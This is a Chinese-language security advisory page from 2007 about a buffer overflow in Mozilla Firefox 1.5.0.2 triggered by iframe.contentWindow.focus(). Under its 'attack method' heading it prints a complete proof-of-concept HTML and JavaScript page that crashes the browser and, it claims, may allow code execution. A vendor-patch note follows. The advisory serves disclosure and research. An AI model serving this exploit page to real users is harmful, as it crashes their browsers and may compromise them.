 |
|
 |
您现在的位置： 精品下载 >> 安全 >> 网络安全 >> 安全中心正文 |  用户登录  新用户注册 |
|
||||
| Mozilla Firefox iframe.contentWindow.focus缓冲区溢出漏洞 | ||||
| 作者：佚名 安全中心来源：不详 点击数： 更新时间：2007-10-10 | ||||
Mozilla Firefox iframe.contentWindow.focus 描述： Mozilla Firefox iframe.contentWindow.focus缓冲区溢出漏洞 详细： Mozilla Firefox是一款流行的开放源码WEB浏览器。 Firefox处理有关iframe.contentWindow.focus()的js320.dll和xpcom_core.dll中某些JavaScript的方式存在缓冲区溢出漏洞。攻击者可以利用找个漏洞导致浏览器拒绝服务，也可能执行任意代码。 <*来源：chris（chris@cr-secure.net） 链接：（http://70.103.141.167//vuln/ff.txt *> 受影响系统： Mozilla Firefox 1.5.0.2 攻击方法： 警 告 以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ <textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"></textarea> <script> var textarea = document.getElementsByName("x_OtherInfo"); textarea=textarea.item(0); var htmlarea = document.createElement("div"); htmlarea.className = "htmlarea"; textarea.parentNode.insertBefore(htmlarea, textarea); var iframe = document.createElement("iframe"); htmlarea.appendChild(iframe); var doc = iframe.contentWindow.document; doc.designMode = "on"; doc.open(); doc.write("<iframe src=''>"); iframe.contentWindow.focus() doc.close(); </script> </textarea> 解决方案： 厂商补丁： Mozilla ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： （http://www.mozilla.org/ |
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）